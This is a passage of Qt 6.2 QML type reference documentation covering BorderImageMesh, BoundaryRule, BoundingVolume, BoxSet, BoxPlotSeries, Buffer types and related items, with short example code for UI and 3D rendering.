 **See also** [Image::sourceSize](qml-qtquick-image#sourceSize-prop).

 ###  status : [enumeration](qml-enumeration)

 This property describes the status of image loading. It can be one of:

 * [BorderImage](qml-qtquick-borderimage).Null - no image has been set
* [BorderImage](qml-qtquick-borderimage).Ready - the image has been loaded
* [BorderImage](qml-qtquick-borderimage).Loading - the image is currently being loaded
* [BorderImage](qml-qtquick-borderimage).Error - an error occurred while loading the image

 **See also** [progress](qml-qtquick-borderimage#progress-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-borderimage.html>

Buffer QML Type
===============

 Provides a data store for raw data to later be used as vertices or uniforms. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Core |
|  Instantiates: | [QBuffer](qt3dcore-qbuffer) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-core-buffer-members.html)

 Properties
----------

 * **[usage](qml-qt3d-core-buffer#usage-prop)** : QBuffer::UsageType

 Detailed Description
--------------------

 Property Documentation
----------------------

 ###  usage : QBuffer::UsageType

 Holds the buffer usage.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-core-buffer.html>

BorderImageMesh QML Type
========================

 Defines a mesh with vertices arranged like those of a [BorderImage](qml-qtquick-borderimage). [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Since: |  Qt 5.8 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-borderimagemesh-members.html)

 Properties
----------

 * **[border](qml-qtquick-borderimagemesh#border-prop)**
	+ **[border.bottom](qml-qtquick-borderimagemesh#border.bottom-prop)** : int
	+ **[border.left](qml-qtquick-borderimagemesh#border.left-prop)** : int
	+ **[border.right](qml-qtquick-borderimagemesh#border.right-prop)** : int
	+ **[border.top](qml-qtquick-borderimagemesh#border.top-prop)** : int
* **[horizontalTileMode](qml-qtquick-borderimagemesh#horizontalTileMode-prop)** : enumeration
* **[size](qml-qtquick-borderimagemesh#size-prop)** : size
* **[verticalTileMode](qml-qtquick-borderimagemesh#verticalTileMode-prop)** : enumeration

 Detailed Description
--------------------

 BorderImageMesh provides [BorderImage](qml-qtquick-borderimage)-like capabilities to a [ShaderEffect](qml-qtquick-shadereffect) without the need for a potentially costly [ShaderEffectSource](qml-qtquick-shadereffectsource).

 The following are functionally equivalent:

 
```
BorderImage {
    id: borderImage
    border {
        left: 10
        right: 10
        top: 10
        bottom: 10
    }
    source: "myImage.png"
    visible: false
}
ShaderEffectSource {
    id: effectSource
    sourceItem: borderImage
    visible: false
}
ShaderEffect {
    property var source: effectSource
    ...
}
```
 
```
Image {
    id: image
    source: "myImage.png"
    visible: false
}
ShaderEffect {
    property var source: image
    mesh: BorderImageMesh {
        border {
            left: 10
            right: 10
            top: 10
            bottom: 10
        }
        size: image.sourceSize
    }
    ...
}
```
 But the BorderImageMesh version can typically be better optimized.

 Property Documentation
----------------------

  ###  horizontalTileMode : [enumeration](qml-enumeration)

 
This property describes how to repeat or stretch the middle parts of an image.

 * [BorderImage](qml-qtquick-borderimage).Stretch - Scales the image to fit to the available area.
* [BorderImage](qml-qtquick-borderimage).Repeat - Tile the image until there is no more space. May crop the last image.
* [BorderImage](qml-qtquick-borderimage).Round - Like Repeat, but scales the images down to ensure that the last image is not cropped.

 The default tile mode for each property is [BorderImage](qml-qtquick-borderimage).Stretch.

 ###  border.bottom : [int](qml-int)

 The 4 border lines (2 horizontal and 2 vertical) break the image into 9 sections, as shown below:

 ![]


Each border line (left, right, top, and bottom) specifies an offset in pixels from the respective edge of the mesh. By default, each border line has a value of 0.

 For example, the following definition sets the bottom line 10 pixels up from the bottom of the mesh:

 
```
BorderImageMesh {
    border.bottom: 10
    // ...
}
```
 ###  size : [size](qml-size)

 The base size of the mesh. This generally corresponds to the [sourceSize](qml-qtquick-image#sourceSize-prop) of the image being used by the [ShaderEffect](qml-qtquick-shadereffect).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-borderimagemesh.html>

BoundaryRule QML Type
=====================

 Defines a restriction on the range of values that can be set on a numeric property. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt.labs.animation |
|  Since: |  Qt 5.14 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt-labs-animation-boundaryrule-members.html)

 Properties
----------

 * **[currentOvershoot](qml-qt-labs-animation-boundaryrule#currentOvershoot-prop)** : qreal
* **[easing](qml-qt-labs-animation-boundaryrule#easing-prop)** : qreal
* **[enabled](qml-qt-labs-animation-boundaryrule#enabled-prop)** : bool
* **[maximum](qml-qt-labs-animation-boundaryrule#maximum-prop)** : qreal
* **[maximumOvershoot](qml-qt-labs-animation-boundaryrule#maximumOvershoot-prop)** : qreal
* **[minimum](qml-qt-labs-animation-boundaryrule#minimum-prop)** : qreal
* **[minimumOvershoot](qml-qt-labs-animation-boundaryrule#minimumOvershoot-prop)** : qreal
* **[overshootFilter](qml-qt-labs-animation-boundaryrule#overshootFilter-prop)** : enum
* **[overshootScale](qml-qt-labs-animation-boundaryrule#overshootScale-prop)** : qreal
* **[peakOvershoot](qml-qt-labs-animation-boundaryrule#peakOvershoot-prop)** : qreal
* **[returnDuration](qml-qt-labs-animation-boundaryrule#returnDuration-prop)** : int

 Methods
-------

 * bool **[returnToBounds](qml-qt-labs-animation-boundaryrule#returnToBounds-method)**()

 Detailed Description
--------------------

 A BoundaryRule defines the range of values that a particular property is allowed to have. When an out-of-range value would otherwise be set, it applies "resistance" via an easing curve.

 For example, the following BoundaryRule prevents [DragHandler](qml-qtquick-draghandler) from dragging the Rectangle too far:

 
```
import QtQuick 2.14
import Qt.labs.animation 1.0

Rectangle {
    id: root
    width: 170; height: 120
    color: "green"

    DragHandler {
        id: dragHandler
        yAxis.minimum: -1000
        xAxis.minimum: -1000
        onActiveChanged: if (!active) xbr.returnToBounds();
    }

    BoundaryRule on x {
        id: xbr
        minimum: -50
        maximum: 100
        minimumOvershoot: 40
        maximumOvershoot: 40
    }
}
```
 Note that a property cannot have more than one assigned BoundaryRule.

 **See also** [Animation and Transitions in Qt Quick](qtquick-statesanimations-animations), [Behavior example](https://doc.qt.io/qt-6.2/qtquick-animation-example.html#behaviors), and [Qt QML](qtqml-index).

 Property Documentation
----------------------

 ###  currentOvershoot : qreal

 This property holds the amount by which the most recently set value of the intercepted property exceeds [maximum](qml-qt-labs-animation-boundaryrule#maximum-prop) or is less than [minimum](qml-qt-labs-animation-boundaryrule#minimum-prop).

 It is positive if the property value exceeds [maximum](qml-qt-labs-animation-boundaryrule#maximum-prop), negative if the property value is less than [minimum](qml-qt-labs-animation-boundaryrule#minimum-prop), or 0 if the property value is within both boundaries.

 ###  easing : qreal

 This property holds the easing curve to be applied in overshoot mode (whenever the [minimum](qml-qt-labs-animation-boundaryrule#minimum-prop) or [maximum](qml-qt-labs-animation-boundaryrule#maximum-prop) constraint is violated, while the value is still within the respective overshoot range).

 The default easing curve is [QEasingCurve::OutQuad](qeasingcurve#Type-enum).

 ###  enabled : [bool](qml-bool)

 This property holds whether the rule will be enforced when the tracked property changes value.

 By default a [BoundaryRule](qml-qt-labs-animation-boundaryrule) is enabled.

 ###  maximum : qreal

 This property holds the largest unconstrained value that the property is allowed to have. If the property is set to a larger value, it will be constrained by [easing](qtquick-statesanimations-animations#easing) and [maximumOvershoot](qml-qt-labs-animation-boundaryrule#maximumOvershoot-prop).

 The default is `1`.

 ###  maximumOvershoot : qreal

 This property holds the amount that the property is allowed to be more than [maximum](qml-qt-labs-animation-boundaryrule#maximum-prop). Whenever the value is greater than [maximum](qml-qt-labs-animation-boundaryrule#maximum-prop) and less than `maximum + maximumOvershoot`, it is constrained by the [easing](qtquick-statesanimations-animations#easing) curve. When the value attempts to exceed `maximum + maximumOvershoot` there is a hard stop.

 The default is 0.

 ###  minimum : qreal

 This property holds the smallest unconstrained value that the property is allowed to have. If the property is set to a smaller value, it will be constrained by [easing](qtquick-statesanimations-animations#easing) and [minimumOvershoot](qml-qt-labs-animation-boundaryrule#minimumOvershoot-prop).

 The default is `0`.

 ###  minimumOvershoot : qreal

 This property holds the amount that the property is allowed to be less than [minimum](qml-qt-labs-animation-boundaryrule#minimum-prop). Whenever the value is less than [minimum](qml-qt-labs-animation-boundaryrule#minimum-prop) and greater than `minimum - minimumOvershoot`, it is constrained by the [easing](qtquick-statesanimations-animations#easing) curve. When the value attempts to go under `minimum - minimumOvershoots` there is a hard stop.

 The default is `0`.

 ###  overshootFilter : enum

 This property specifies the aggregation function that will be applied to the intercepted property value.

 If this is set to `BoundaryRule.None` (the default), the intercepted property will hold a value whose overshoot is limited to [currentOvershoot](qml-qt-labs-animation-boundaryrule#currentOvershoot-prop). If this is set to `BoundaryRule.Peak`, the intercepted property will hold a value whose overshoot is limited to [peakOvershoot](qml-qt-labs-animation-boundaryrule#peakOvershoot-prop).

 ###  overshootScale : qreal

 This property holds the amount by which the [easing](qtquick-statesanimations-animations#easing) is scaled during the overshoot condition. For example if an Item is restricted from moving more than 100 pixels beyond some limit, and the user (by means of some Input Handler) is trying to drag it 100 pixels past the limit, if overshootScale is set to 1, the user will succeed: the only effect of the easing curve is to change the rate at which the item moves from overshoot 0 to overshoot 100. But if it is set to 0.5, the [BoundaryRule](qml-qt-labs-animation-boundaryrule) provides resistance such that when the user tries to move 100 pixels, the Item will only move 50 pixels; and the easing curve modulates the rate of movement such that it may move in sync with the user's attempted movement at the beginning, and then slows down, depending on the shape of the easing curve.

 The default is 0.5.

 ###  peakOvershoot : qreal

 This property holds the most-positive or most-negative value of [currentOvershoot](qml-qt-labs-animation-boundaryrule#currentOvershoot-prop) that has been seen, until [returnToBounds](qml-qt-labs-animation-boundaryrule#returnToBounds-method)() is called.

 This can be useful when the intercepted property value is known to fluctuate, and you want to find and react to the maximum amount of overshoot rather than to the fluctuations.

 **See also** [overshootFilter](qml-qt-labs-animation-boundaryrule#overshootFilter-prop).

 ###  returnDuration : [int](qml-int)

 This property holds the amount of time in milliseconds that [returnToBounds](qml-qt-labs-animation-boundaryrule#returnToBounds-method)() will take to return the target property to the nearest bound. If it is set to 0, [returnToBounds](qml-qt-labs-animation-boundaryrule#returnToBounds-method)() will set the property immediately rather than creating an animation job.

 The default is 100 ms.

 Method Documentation
--------------------

 ###  [bool](qml-bool) returnToBounds()

 Returns the intercepted property to a value between [minimum](qml-qt-labs-animation-boundaryrule#minimum-prop) and [maximum](qml-qt-labs-animation-boundaryrule#maximum-prop), such that [currentOvershoot](qml-qt-labs-animation-boundaryrule#currentOvershoot-prop) and [peakOvershoot](qml-qt-labs-animation-boundaryrule#peakOvershoot-prop) are both zero. This will be animated if [returnDuration](qml-qt-labs-animation-boundaryrule#returnDuration-prop) is greater than zero.

 Returns true if the value needed to be adjusted, or false if it was already within bounds.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt-labs-animation-boundaryrule.html>

BoundingVolume QML Type
=======================

 can be used to override an entity's bounding volume. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Core |
|  Instantiates: | [QBoundingVolume](qt3dcore-qboundingvolume) |
|  Inherited By: | [GeometryRenderer](qml-qt3d-render-geometryrenderer) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-core-boundingvolume-members.html)

 Properties
----------

 * **[implicitMaxPoint](qml-qt3d-core-boundingvolume#implicitMaxPoint-prop)** : vector3d
* **[implicitMinPoint](qml-qt3d-core-boundingvolume#implicitMinPoint-prop)** : vector3d
* **[implicitPointsValid](qml-qt3d-core-boundingvolume#implicitPointsValid-prop)** : bool
* **[maxPoint](qml-qt3d-core-boundingvolume#maxPoint-prop)** : vector3d
* **[minPoint](qml-qt3d-core-boundingvolume#minPoint-prop)** : vector3d
* **[view](qml-qt3d-core-boundingvolume#view-prop)** : GeometryView

 Methods
-------

 * bool **[updateImplicitBounds](qml-qt3d-core-boundingvolume#updateImplicitBounds-method)**()

 Detailed Description
--------------------

 An entity's bounding volume is used for many operations such as picking or view frustum culling. It is normally computed by traversing the rendered geometry.

 BoundingVolume can be used when the extent of the geometry is known to the application so that Qt 3D does not have to compute it.

 A bounding volume can be provided either as minimum and maximum extent coordinates, or a separate, usually simpler, geometry that approximates the rendered mesh.

 When using minimum and maximum extents, these are considered to be the opposite corners of an axis aligned bounding box, in the geometry's local coordinate system.

 BoundingVolume can also be used to query the computed bounding volume of a [GeometryView](qml-qt3d-core-geometryview). The [implicitMinPoint](qml-qt3d-core-boundingvolume#implicitMinPoint-prop) and [implicitMaxPoint](qml-qt3d-core-boundingvolume#implicitMaxPoint-prop) properties will be updated if the geometry changes. Note that this is done asynchronously on a background thread so you should check the value of [implicitPointsValid](qml-qt3d-core-boundingvolume#implicitPointsValid-prop) before reading them.

 You can force the implicit extents to be updated by calling [updateImplicitBounds](qml-qt3d-core-boundingvolume#updateImplicitBounds-method). This will block on the calling thread until the results are available.

  **Note:** [GeometryRenderer](qml-qt3d-render-geometryrenderer) inherits BoundingVolume and thus supports reading implicit bounds or setting explicit bounds also.

  Property Documentation
----------------------

 ###  implicitMaxPoint : [vector3d](qml-vector3d)

 \* \* \* Holds maximum extent of the bounding volume computed from the specified view.

 ###  implicitMinPoint : [vector3d](qml-vector3d)

 \* \* \* Holds minimum extent of the bounding volume computed from the specified view.

 ###  implicitPointsValid : [bool](qml-bool)

 \* \* \* True if a view has been assigned and the implicit extent properties are up to date. \* \*

 **See also** [updateImplicitBounds](qml-qt3d-core-boundingvolume#updateImplicitBounds-method).

 ###  maxPoint : [vector3d](qml-vector3d)

 \* \* \* User specified maximum extent of the bounding volume. When set (along with minimum \* extent), this will be used internally to avoid computing the volume from the \* geometry.

 ###  minPoint : [vector3d](qml-vector3d)

 \* \* \* User specified minimum extent of the bounding volume. When set (along with maximum \* extent), this will be used internally to avoid computing the volume from the \* geometry.

 ###  view : [GeometryView](qml-qt3d-core-geometryview)

 \* \* \* Holds a pointer to the instance of QGeometryView which will be used, if set, \* to compute the bounding volume.

 Method Documentation
--------------------

 ###  [bool](qml-bool) updateImplicitBounds()

 \* \* \* Updates the implicit bounds of the specified view. Returns \* `true` if the computation succeeded and false otherwise. \* \*

  **Note:** The calculations are done in the call thread, this \* could take significant time for large meshes.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-core-boundingvolume.html>

Bounds QML Type
===============

 Specifies the bounds of a model. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D |
|  Since: |  Qt 5.15 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-bounds-members.html)

 Properties
----------

 * **[maximum](qml-qtquick3d-bounds#maximum-prop)** : vector3d
* **[minimum](qml-qtquick3d-bounds#minimum-prop)** : vector3d

 Detailed Description
--------------------

 Bounds specify a bounding box with minimum and maximum points. Bounds is a readonly property of the model.

 Property Documentation
----------------------

 ###  maximum : [vector3d](qml-vector3d)

 Specifies the maximum point of the model bounds.

 **See also** [minimum](qml-qtquick3d-bounds#minimum-prop).

 ###  minimum : [vector3d](qml-vector3d)

 Specifies the minimum point of the model bounds.

 **See also** [maximum](qml-qtquick3d-bounds#maximum-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-bounds.html>

BoxSet QML Type
===============

 Represents one item in a box-and-whiskers chart. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtCharts |
|  Instantiates: | [QBoxSet](qboxset) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtcharts-boxset-members.html)

 Properties
----------

 * **[brushFilename](qml-qtcharts-boxset#brushFilename-prop)** : string
* **[count](qml-qtcharts-boxset#count-prop)** : int
* **[label](qml-qtcharts-boxset#label-prop)** : string
* **[values](qml-qtcharts-boxset#values-prop)** : list

 Signals
-------

 * **[cleared](qml-qtcharts-boxset#cleared-signal)**()
* **[clicked](qml-qtcharts-boxset#clicked-signal)**()
* **[doubleClicked](qml-qtcharts-boxset#doubleClicked-signal)**()
* **[hovered](qml-qtcharts-boxset#hovered-signal)**(bool *status*)
* **[pressed](qml-qtcharts-boxset#pressed-signal)**()
* **[released](qml-qtcharts-boxset#released-signal)**()
* **[valueChanged](qml-qtcharts-boxset#valueChanged-signal)**(int *index*)
* **[valuesChanged](qml-qtcharts-boxset#valuesChanged-signal)**()

 Methods
-------

 * void **[append](qml-qtcharts-boxset#append-method)**(qreal *value*)
* void **[at](qml-qtcharts-boxset#at-method)**(int *index*)
* void **[clear](qml-qtcharts-boxset#clear-method)**()
* void **[setValue](qml-qtcharts-boxset#setValue-method)**(int *index*, qreal *value*)

 Detailed Description
--------------------

 A box-and-whiskers item is a graphical representation of a range and three median values that is constructed from five different values. There are two ways to specify the values. The first one is by using a constructor or the [append](qml-qtcharts-boxset#append-method)() method. The values have to be specified in the following order: lower extreme, lower quartile, median, upper quartile, and upper extreme.

 The second way is to create an empty BoxSet instance and specify the values using the [setValue](qml-qtcharts-boxset#setValue-method)() method.

 **See also** [BoxPlotSeries](qml-qtcharts-boxplotseries).

 Property Documentation
----------------------

 ###  brushFilename : [string](qml-string)

 The name of the file used as a brush for the box-and-whiskers item.

 ###  count : [int](qml-int)

 The number of values of the box-and-whiskers item.

 ###  label : [string](qml-string)

 The label of the category of the box-and-whiskers item.

 ###  values : [list](qml-list)

 The values of the box-and-whiskers item. The following enumerations can be used as indexes when accessing the list of values:

 

| Constant | Description |
| --- | --- |
| `BoxSet.LowerExtreme` | The smallest value of the box-and-whiskers item. |
| `BoxSet.LowerQuartile` | The median value of the lower half of the box-and-whiskers item. |
| `BoxSet.Median` | The median value of the box-and-whiskers item. |
| `BoxSet.UpperQuartile` | The median value of the upper half of the box-and-whiskers item. |
| `BoxSet.UpperExtreme` | The largest value of the box-and-whiskers item. |

 **See also** [at](qml-qtcharts-boxset#at-method)() and [setValue](qml-qtcharts-boxset#setValue-method)().

 Signal Documentation
--------------------

 ###  cleared()

 This signal is emitted when all the values of the box-and-whiskers item are set to 0.

 The corresponding signal handler is `onCleared()`.

 **Note:** The corresponding handler is `onCleared`.

 ###  clicked()

 This signal is emitted when the user clicks a box-and-whiskers item in the chart.

 The corresponding signal handler is `onClicked()`.

 **Note:** The corresponding handler is `onClicked`.

 ###  doubleClicked()

 This signal is emitted when the user double-clicks a box-and-whiskers item.

 The corresponding signal handler is `onDoubleClicked()`.

 **Note:** The corresponding handler is `onDoubleClicked`.

 ###  hovered([bool](qml-bool) *status*)

 This signal is emitted when a mouse is hovered over a box-and-whiskers item in a chart. When the mouse moves over the item, *status* turns `true`, and when the mouse moves away again, it turns `false`.

 The corresponding signal handler is `onHovered()`.

 **Note:** The corresponding handler is `onHovered`.

 ###  pressed()

 This signal is emitted when the user clicks a box-and-whiskers item in the chart and holds down the mouse button.

 The corresponding signal handler is `onPressed`.

 **Note:** The corresponding handler is `onPressed`.

 ###  released()

 This signal is emitted when the user releases the mouse press on a box-and-whiskers item.

 The corresponding signal handler is `onReleased()`.

 **Note:** The corresponding handler is `onReleased`.

 ###  valueChanged([int](qml-int) *index*)

 This signal is emitted when the value of the box-and-whiskers item specified by *index* changes.

 The corresponding signal handler is `onValueChanged()`.

 **Note:** The corresponding handler is `onValueChanged`.

 ###  valuesChanged()

 This signal is emitted when multiple values of the box-and-whiskers item change.

 The corresponding signal handler is `onValuesChanged()`.

 **Note:** The corresponding handler is `onValuesChanged`.

 Method Documentation
--------------------

 ###  void append(qreal *value*)

 Appends the new value specified by *value* to the end of the box-and-whiskers item.

 ###  void at([int](qml-int) *index*)

 Returns the value in the position specified by *index*.

 ###  void clear()

 Sets all the values of the box-and-whiskers item to 0.

 ###  void setValue([int](qml-int) *index*, qreal *value*)

 Sets the value specified by *value* in the position specified by *index*.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtcharts-boxset.html>

BrushStrokes QML Type
=====================

 A brush strokes noise effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Effects |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-brushstrokes-members.html)

 Properties
----------

 * **[brushAngle](qml-qtquick3d-effects-brushstrokes#brushAngle-prop)** : real
* **[brushLength](qml-qtquick3d-effects-brushstrokes#brushLength-prop)** : real
* **[brushSize](qml-qtquick3d-effects-brushstrokes#brushSize-prop)** : real
* **[noiseSample](qml-qtquick3d-effects-brushstrokes#noiseSample-prop)** : TextureInput

 Detailed Description
--------------------

 ![]


The BrushStrokes effect simulates an artistic painting of the image.

 Property Documentation
----------------------

 ###  brushAngle : [real](qml-real)

 The amount to rotate the brush noise texture, in degrees. The default value is `45`.

 ###  brushLength : [real](qml-real)

 How far to offset the image with the brush. Sensible values are in the range `[0...3]`. The default value is `1`.

 ###  brushSize : [real](qml-real)

 The scale of the brush. Smaller values yield larger sizes. Sensible values are in the range `[10...200]`. The default value is `100`.

 ###  noiseSample : [TextureInput](qml-qtquick3d-textureinput)

 The brush noise texture map. Default is a [Texture](qml-qtquick3d-texture) with source `"maps/brushnoise.png"`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-brushstrokes.html>

Buffer QML Type
===============

 Creates or references a color buffer to be used for a pass of an Effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-buffer-members.html)

 Properties
----------

 * **[bufferFlags](qml-qtquick3d-buffer#bufferFlags-prop)** : enumeration
* **[format](qml-qtquick3d-buffer#format-prop)** : enumeration
* **[name](qml-qtquick3d-buffer#name-prop)** : string
* **[sizeMultiplier](qml-qtquick3d-buffer#sizeMultiplier-prop)** : real
* **[textureCoordOperation](qml-qtquick3d-buffer#textureCoordOperation-prop)** : enumeration
* **[textureFilterOperation](qml-qtquick3d-buffer#textureFilterOperation-prop)** : enumeration

 Detailed Description
--------------------

 A Buffer can be used to create intermediate buffers to share data between [render passes](qml-qtquick3d-pass) in an [Effect](qml-qtquick3d-effect).

  **Note:** If the [name](qml-qtquick3d-buffer#name-prop) property of the Buffer is empty, it will reference the default output texture of the render pass.

  Property Documentation
----------------------

 ###  bufferFlags : [enumeration](qml-enumeration)

 Specifies the buffer allocation flags. The default is Buffer.None.

 

| Constant | Description |
| --- | --- |
| `Buffer.None` | No special behavior. |
| `Buffer.SceneLifetime` | The buffer is allocated for the whole lifetime of the scene. |

 ###  format : [enumeration](qml-enumeration)

 Specifies the texture format. The default value is Buffer.RGBA8.

 

| Constant | Value |
| --- | --- |
| `Buffer.RGBA8` |
| `Buffer.RGBA16F` |
| `Buffer.RGBA32F` |
| `Buffer.R8` |
| `Buffer.R16` |
| `Buffer.R16F` |
| `Buffer.R32F` |

 ###  name : [string](qml-string)

 Specifies the name of the buffer.

  **Note:** When this property is empty, the Buffer will refer to the default output texture of the [render pass](qml-qtquick3d-pass) instead of allocating a buffer. This can be useful to override certain settings of the output, such as the texture format, without introducing a new, separate intermediate texture.

  ###  sizeMultiplier : [real](qml-real)

 Specifies the size multiplier of the buffer. For instance, a value of `1.0` creates a buffer with the same size as the effect's input texture while `0.5` creates buffer where both width and height is half as big. The default value is 1.0.

 ###  textureCoordOperation : [enumeration](qml-enumeration)

 Specifies the behavior for texture coordinates when sampling outside the [0, 1] range. The default is Buffer.ClampToEdge.

 

| Constant | Description |
| --- | --- |
| `Buffer.ClampToEdge` | Clamp coordinates to the edges. |
| `Buffer.Repeat` | Wrap the coordinates at the edges to tile the texture. |
| `Buffer.MirroredRepeat` | Wrap the coordinate at the edges, but mirror the texture when tiling it. |

 ###  textureFilterOperation : [enumeration](qml-enumeration)

 Specifies the texture filtering mode when sampling the contents of the Buffer. The default value is Buffer.Linear.

 

| Constant | Description |
| --- | --- |
| `Buffer.Nearest` | Use nearest-neighbor filtering. |
| `Buffer.Linear` | Use linear filtering. |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-buffer.html>

BufferCapture QML Type
======================

 Exchanges buffer data between GPU and CPU. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Instantiates: | [QBufferCapture](qt3drender-qbuffercapture) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-buffercapture-members.html)

 Detailed Description
--------------------



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-buffercapture.html>

BoxPlotSeries QML Type
======================

 Presents data in box-and-whiskers charts. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtCharts |
|  Instantiates: | [QBoxPlotSeries](qboxplotseries) |
|  Inherits: | [AbstractSeries](qml-qtcharts-abstractseries) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtcharts-boxplotseries-members.html)

 Properties
----------

 * **[axisX](qml-qtcharts-boxplotseries#axisX-prop)** : AbstractAxis
* **[axisXTop](qml-qtcharts-boxplotseries#axisXTop-prop)** : AbstractAxis
* **[axisY](qml-qtcharts-boxplotseries#axisY-prop)** : AbstractAxis
* **[axisYRight](qml-qtcharts-boxplotseries#axisYRight-prop)** : AbstractAxis
* **[boxOutlineVisible](qml-qtcharts-boxplotseries#boxOutlineVisible-prop)** : bool
* **[boxWidth](qml-qtcharts-boxplotseries#boxWidth-prop)** : real
* **[brushFilename](qml-qtcharts-boxplotseries#brushFilename-prop)** : string
* **[count](qml-qtcharts-boxplotseries#count-prop)** : int

 Signals
-------

 * **[boxsetsAdded](qml-qtcharts-boxplotseries#boxsetsAdded-signal)**(list *sets*)
* **[boxsetsRemoved](qml-qtcharts-boxplotseries#boxsetsRemoved-signal)**(list *sets*)
* **[clicked](qml-qtcharts-boxplotseries#clicked-signal)**(BoxSet *boxset*)
* **[doubleClicked](qml-qtcharts-boxplotseries#doubleClicked-signal)**(BoxSet *boxset*)
* **[hovered](qml-qtcharts-boxplotseries#hovered-signal)**(bool *status*, BoxSet *boxset*)
* **[pressed](qml-qtcharts-boxplotseries#pressed-signal)**(BoxSet *boxset*)
* **[released](qml-qtcharts-boxplotseries#released-signal)**(BoxSet *boxset*)

 Methods
-------

 * **[append](qml-qtcharts-boxplotseries#append-method-1)**(BoxSet *box*)
* **[append](qml-qtcharts-boxplotseries#append-method)**(string *label*, VariantList *values*)
* **[at](qml-qtcharts-boxplotseries#at-method)**(int *index*)
* **[clear](qml-qtcharts-boxplotseries#clear-method)**()
* **[insert](qml-qtcharts-boxplotseries#insert-method)**(int *index*, string *label*, VariantList *values*)
* **[remove](qml-qtcharts-boxplotseries#remove-method)**(QBoxSet *boxset*)

 Detailed Description
--------------------

 A box plot series acts as a container for box-and-whiskers items. Items from multiple series are grouped into categories according to their index value.

 The [BarCategoryAxis](qml-qtcharts-barcategoryaxis) class is used to add the categories to the chart's axis. Category labels have to be unique. If the same category label is defined for several box-and-whiskers items, only the first one is drawn.

 The following QML code snippet shows how to create a simple box-and-whiskers chart:

 
```
import QtQuick 2.0
import QtCharts 2.0

ChartView {
    title: "Box Plot series"
    width: 400
    height: 300
    theme: ChartView.ChartThemeBrownSand
    legend.alignment: Qt.AlignBottom

    BoxPlotSeries {
        id: plotSeries
        name: "Income"
        BoxSet { label: "Jan"; values: [3, 4, 5.1, 6.2, 8.5] }
        BoxSet { label: "Feb"; values: [5, 6, 7.5, 8.6, 11.8] }
        BoxSet { label: "Mar"; values: [3.2, 5, 5.7, 8, 9.2] }
        BoxSet { label: "Apr"; values: [3.8, 5, 6.4, 7, 8] }
        BoxSet { label: "May"; values: [4, 5, 5.2, 6, 7] }
    }
}
```
 ![]


**See also** [BoxSet](qml-qtcharts-boxset) and [BarCategoryAxis](qml-qtcharts-barcategoryaxis).

 Property Documentation
----------------------

 ###  axisX : [AbstractAxis](qml-qtcharts-abstractaxis)

 The x-axis used for the series. If you leave both axisX and [axisXTop](qml-qtcharts-boxplotseries#axisXTop-prop) undefined, a [BarCategoryAxis](qml-qtcharts-barcategoryaxis) is created for the series.

 **See also** [axisXTop](qml-qtcharts-boxplotseries#axisXTop-prop).

 ###  axisXTop : [AbstractAxis](qml-qtcharts-abstractaxis)

 The x-axis used for the series, drawn on top of the chart view.

  **Note:** You can only provide either [axisX](qml-qtcharts-boxplotseries#axisX-prop) or axisXTop, but not both.

  **See also** [axisX](qml-qtcharts-boxplotseries#axisX-prop) and [axisX](qml-qtcharts-boxplotseries#axisX-prop).

 ###  axisY : [AbstractAxis](qml-qtcharts-abstractaxis)

 The y-axis used for the series. If you leave both axisY and [axisYRight](qml-qtcharts-boxplotseries#axisYRight-prop) undefined, a [ValueAxis](qml-qtcharts-valueaxis) is created for the series.

 **See also** [axisYRight](qml-qtcharts-boxplotseries#axisYRight-prop).

 ###  axisYRight : [AbstractAxis](qml-qtcharts-abstractaxis)

 The y-axis used for the series, drawn to the right on the chart view.

  **Note:** You can only provide either [axisY](qml-qtcharts-boxplotseries#axisY-prop) or axisYRight, but not both.

  **See also** [axisY](qml-qtcharts-boxplotseries#axisY-prop).

 ###  boxOutlineVisible : [bool](qml-bool)

 The visibility of the box outline.

